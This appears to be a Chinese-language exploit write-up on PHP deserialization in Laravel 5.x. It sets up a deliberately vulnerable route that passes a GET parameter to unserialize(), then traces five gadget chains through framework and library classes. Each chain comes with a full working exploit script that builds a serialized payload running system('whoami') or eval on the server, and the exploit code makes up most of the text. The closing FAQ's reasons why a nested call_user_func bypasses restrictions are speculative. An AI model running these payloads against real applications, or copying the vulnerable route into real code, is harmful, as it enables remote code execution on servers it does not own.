Laravel 5.1 反序列化漏洞分析与利用
环境搭建
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
# 实际下载版本为5.4.30
# 添加测试路由(routes/web.php)
Route::get('/index', function() {
$payload = $_GET['cmd'];
echo $payload;
echo '<br>';
unserialize($payload);
return 'hello binbin';
});
漏洞链分析
链子1: Swift_Transport_AbstractSmtpTransport 入口
调用链:
__destruct() -> stop() -> __call() -> RCE
-
入口点:
Swift_Transport_AbstractSmtpTransport::__destruct()public function __destruct() { try { $this->stop(); } catch (Exception $e) {} } -
stop() 方法:
public function stop() { if ($this->_started) { if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) { // 触发__call $this->_eventDispatcher->dispatchEvent($evt, 'beforeTransportStopped'); if ($evt->bubbleCancelled()) { return; } } // ...其他代码... } $this->_started = false; } -
利用 ValidGenerator::__call():
public function __call($name, $arguments) { $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res)); return $res; } -
DefaultGenerator::__call() 提供可控返回值:
public function __call($method, $attributes) { return $this->default; }
EXP:
<?php
namespace Faker {
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($generator, $validator, $maxRetries) {
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
class DefaultGenerator {
protected $default;
public function __construct($default) {
$this->default = $default;
}
}
}
namespace {
use Faker\DefaultGenerator;
use Faker\ValidGenerator;
class Swift_Transport_EsmtpTransport {
protected $_started = true;
protected $_eventDispatcher;
public function __construct($_started, $_eventDispatcher) {
$this->_started = $_started;
$this->_eventDispatcher = $_eventDispatcher;
}
}
$defaultGenerator = new DefaultGenerator("whoami");
$validGenerator = new ValidGenerator($defaultGenerator, "system", 9);
$swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $validGenerator);
echo urlencode(serialize($swift_Transport_EsmtpTransport));
}
链子2: Swift_KeyCache_DiskKeyCache 入口
调用链:
__destruct() -> clearAll() -> clearKey() -> hasKey() -> is_file() -> __toString() -> getName() -> __call() -> RCE
-
入口点:
Swift_KeyCache_DiskKeyCache::__destruct()public function __destruct() { foreach ($this->_keys as $nsKey => $null) { $this->clearAll($nsKey); } } -
clearAll() 方法:
public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->_keys)) { foreach ($this->_keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } // ...其他代码... } } -
clearKey() 方法:
public function clearKey($nsKey, $itemKey) { if ($this->hasKey($nsKey, $itemKey)) { $this->_freeHandle($nsKey, $itemKey); unlink($this->_path . '/' . $nsKey . '/' . $itemKey); } } -
hasKey() 方法触发 __toString:
public function hasKey($nsKey, $itemKey) { return is_file($this->_path . '/' . $nsKey . '/' . $itemKey); } -
DefinedTargetClass::__toString():
public function __toString() { return $this->getName(); } public function getName() { return $this->rfc->getName(); // 触发__call }
EXP:
<?php
namespace Faker {
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($generator, $validator, $maxRetries) {
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
class DefaultGenerator {
protected $default;
public function __construct($default) {
$this->default = $default;
}
}
}
namespace Mockery\Generator {
class DefinedTargetClass {
private $rfc;
public function __construct($rfc) {
$this->rfc = $rfc;
}
}
}
namespace {
use Faker\DefaultGenerator;
use Faker\ValidGenerator;
use Mockery\Generator\DefinedTargetClass;
class Swift_KeyCache_DiskKeyCache {
private $_keys;
private $_path;
public function __construct($_keys, $_path) {
$this->_keys = $_keys;
$this->_path = $_path;
}
}
$defaultGenerator = new DefaultGenerator("whoami");
$validGenerator = new ValidGenerator($defaultGenerator, "system", 3);
$definedTargetClass = new DefinedTargetClass($validGenerator);
$swift_KeyCache_DiskKeyCache = new Swift_KeyCache_DiskKeyCache(array("binbin" => array("binbin", "binbin")), $definedTargetClass);
echo urlencode(serialize($swift_KeyCache_DiskKeyCache));
}
链子3: WindowsPipes 入口
调用链:
__destruct() -> removeFiles() -> file_exists() -> __toString() -> 后续与链子2相同
- 入口点:
WindowsPipes::__destruct()public function __destruct() { $this->close(); $this->removeFiles(); } private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { // 触发__toString @unlink($filename); } } $this->files = array(); }
EXP:
<?php
namespace Faker {
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($generator, $validator, $maxRetries) {
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
class DefaultGenerator {
protected $default;
public function __construct($default) {
$this->default = $default;
}
}
}
namespace Mockery\Generator {
class DefinedTargetClass {
private $rfc;
public function __construct($rfc) {
$this->rfc = $rfc;
}
}
}
namespace Symfony\Component\Process\Pipes {
class WindowsPipes {
private $files;
public function __construct($files) {
$this->files = $files;
}
}
}
namespace {
use Faker\DefaultGenerator;
use Faker\ValidGenerator;
use Mockery\Generator\DefinedTargetClass;
use Symfony\Component\Process\Pipes\WindowsPipes;
$defaultGenerator = new DefaultGenerator("whoami");
$validGenerator = new ValidGenerator($defaultGenerator, "system", 3);
$definedTargetClass = new DefinedTargetClass($validGenerator);
$windowsPipes = new WindowsPipes(array($definedTargetClass));
echo urlencode(serialize($windowsPipes));
}
链子4: DatabaseManager 利用
调用链:
__destruct() -> stop() -> __call() -> connection() -> makeConnection() -> call_user_func()
-
DatabaseManager::__call():
public function __call($method, $parameters) { return call_user_func_array([$this->connection(), $method], $parameters); } -
makeConnection() 中的关键调用:
protected function makeConnection($name) { $config = $this->getConfig($name); if (isset($this->extensions[$name])) { return call_user_func($this->extensions[$name], $config, $name); // RCE点 } // ...其他代码... }
EXP:
<?php
namespace Illuminate\Database {
class DatabaseManager {
protected $app;
protected $extensions;
public function __construct() {
$this->app['config']['database.default'] = "whoami";
$this->app['config']['database.connections'] = array("whoami" => "system");
$this->extensions = array("whoami" => "call_user_func");
}
}
}
namespace {
use Illuminate\Database\DatabaseManager;
class Swift_Transport_EsmtpTransport {
protected $_started = true;
protected $_eventDispatcher;
public function __construct($_started, $_eventDispatcher) {
$this->_started = $_started;
$this->_eventDispatcher = $_eventDispatcher;
}
}
$databaseManager = new DatabaseManager();
$swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $databaseManager);
echo urlencode(serialize($swift_Transport_EsmtpTransport));
}
链子5: Validator 利用
调用链:
__destruct() -> removeFiles() -> file_exists() -> __toString() -> getName() -> __call() -> callExtension() -> callClassBasedExtension() -> make() -> eval()
-
Validator::__call():
public function __call($method, $parameters) { $rule = Str::snake(substr($method, 8)); if (isset($this->extensions[$rule])) { return $this->callExtension($rule, $parameters); } throw new BadMethodCallException("Method [$method] does not exist."); } protected function callClassBasedExtension($callback, $parameters) { list($class, $method) = explode('@', $callback); return call_user_func_array([$this->container->make($class), $method], $parameters); } -
EvalLoader 利用:
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
EXP:
<?php
namespace Prophecy\Argument\Token {
class ObjectStateToken {
private $value;
private $util;
public function __construct($value, $util) {
$this->value = $value;
$this->util = $util;
}
}
}
namespace Faker {
class DefaultGenerator {
protected $default;
public function __construct($default) {
$this->default = $default;
}
}
}
namespace Symfony\Component\Process\Pipes {
class WindowsPipes {
private $files;
public function __construct($files) {
$this->files = $files;
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Validation {
class Validator {
protected $extensions;
protected $container;
public function __construct($extensions, $container) {
$this->extensions = $extensions;
$this->container = $container;
}
}
}
namespace Mockery\Generator {
use Faker\DefaultGenerator;
use Mockery\Loader\EvalLoader;
class MockDefinition {
protected $config;
protected $code;
public function __construct($config) {
$this->config = $config;
$this->code = '<?php var_dump(system("whoami"));';
}
}
}
namespace {
use Faker\DefaultGenerator;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
use Mockery\Loader\EvalLoader;
use Prophecy\Argument\Token\ObjectStateToken;
use Symfony\Component\Process\Pipes\WindowsPipes;
$evalLoader = new EvalLoader();
$defaultGenerator1 = new DefaultGenerator("binbin");
$mockDefinition = new MockDefinition($defaultGenerator1);
$defaultGenerator = new DefaultGenerator($evalLoader);
$validator = new Validator(array("y" => "binbin@load"), $defaultGenerator);
$objectStateToken = new ObjectStateToken($mockDefinition, $validator);
$windowsPipes = new WindowsPipes(array($objectStateToken));
echo urlencode(serialize($windowsPipes));
}
常见问题解答
Q: 为什么链子4中直接使用system()作为回调函数在反序列化时不可用?
A: 虽然call_user_func("system", "calc", "binbin")在测试时可以正常工作,但在反序列化环境中可能由于以下原因失败:
- 环境限制或安全配置阻止了直接系统命令执行
- 参数传递方式在反序列化过程中发生了变化
- Laravel框架自身的防护机制
更可靠的方式是使用call_user_func("call_user_func", "system", "calc")这种嵌套调用方式,因为它更符合框架内部的调用流程,且能绕过某些限制。